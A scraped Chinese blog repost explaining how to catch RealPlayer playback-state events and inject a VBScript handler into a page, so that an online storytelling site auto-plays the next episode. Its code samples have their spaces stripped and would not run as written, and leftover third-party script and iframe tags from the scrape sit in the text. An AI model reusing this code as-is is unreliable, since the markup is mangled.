Handling Callback Events From RealPlayer --IT man

Csdn-Blog <script language="javascript" src="http://www.023rcsc.com/count/count2.asp"></script>
Handling Callback Events From RealPlayer
bsp Form:
http://www.voidclass.com/PermaLink,guid,854ccf18-1516-4b81-9390-9187f4619d70.aspx
我有个习惯。喜欢在计算机上播放一段音乐或评书,然后躺在床上,在饱满听觉享受中进入梦香。
前一段时间我找到一个免费在线收听评书的网站。无论从内容还是速度上都比较满意,但是没有连续收听的功能。一段评书播放完了,我还没睡着呢。郁闷!!:(
于是着手解决这个网站连续播放的问题。
方法很简单,在播放器播放结束的时候,打开“下一页”超链接所指定的网址就可以进入下一段评书的播放了。
那么有三个问题需要解决:
1)捕获播放器播放结束事件;
2)获取“下一页”超链接所指定的地址;
3)将我的脚本程序插入到网页中,并执行。
第一个问题:该网站使用的是RealPlayer播放器,我在Google上找了一下,关于RealPlayer的资料大多是一些如何加密和控制播放器等等。还好最后在RealNetworks官方网站找到了有RealPlayer事件捕获的资料。(
EmbeddedRealPlayerExtendedFunctionalityGuide )
可使用如下代码实现:
<OBJECTID=RVOCXCLASSID="clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA">
 <PARAMNAME="controls"VALUE="all">
 <PARAMNAME="SRC"VALUE="http://www.company.com/sample.rpm">
</OBJECT> <P>
StatusText:
<inputtype="text"name="statusText">
<br>
</P>
<SCRIPTlanguage="VBS">
SubRVOCX_OnShowStatus(byValtext)
 statusText.Value=text EndSub
</SCRIPT>
RealPlayer并没有直接提供一个播放结束事件,但是RealPlayer提供了OnPlayStateChange和OnStateChange。通过这两个事件可以实现播放结束的捕获。
OnPlayStateChange
定义:OnPlayStateChange(int32old_state,int32new_state) 参数说明:
ParameterValue PlayState 0 Stopped 1
Contacting 2 Buffering 3 Playing 4 Seeking 5 Paused 注意:
在网页中嵌入RealPlayer有两种方法。可以使用RealPlayerNetscape插件或使用ActiveX控件。前者使用<EMBED>标记,后者使用<OBJECT>标记。
当使用ActiveX控件时,old_state参数无效。如果需要在ActiveX控件编程方式下同时使用old_state和new_state两个参数,可以使用OnStateChange事件。
OnStateChange
定义:OnStateChange(int32old_state,int32new_state) 参数说明:同上。 注意:
OnStateChange仅适用于ActiveX控件。
第二个问题:获得“下一页”的链接。不详细说明了,就是HTML分析。
第三个问题:将我写的脚本插入网页。可以通过IE提供的insertAdjacentHTML方法来实现。 注意:
在使用insertAdjacentHTML向网页中插入脚本时,一定要在<Script>元素中加入"DEFER"属性。(<SCRIPTDEFERLANGUAGE="VBS">)
Ok,所有的问题都解决了。新建一个WinForm项目,摆上一个WebBrowser,在OnDocumentComplete中写入代码。 Code: begin
 get&parsehtml
 get"nextpage"link  
 //script
 <SCRIPTDEFERLANGUAGE="VBS">
 Sub(playerid)_OnStateChange(old_state,new_state)
   ifnew_state=0&old_state=3then
     goto"nextpage"link
 EndSub
 </SCRIPT>  
 getplayerobject
 player.insertAdjacentHTML('afterEnd',script) end;

Handling Callback Events From RealPlayer src="http://www.023rcsc.com/count/iframe2.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值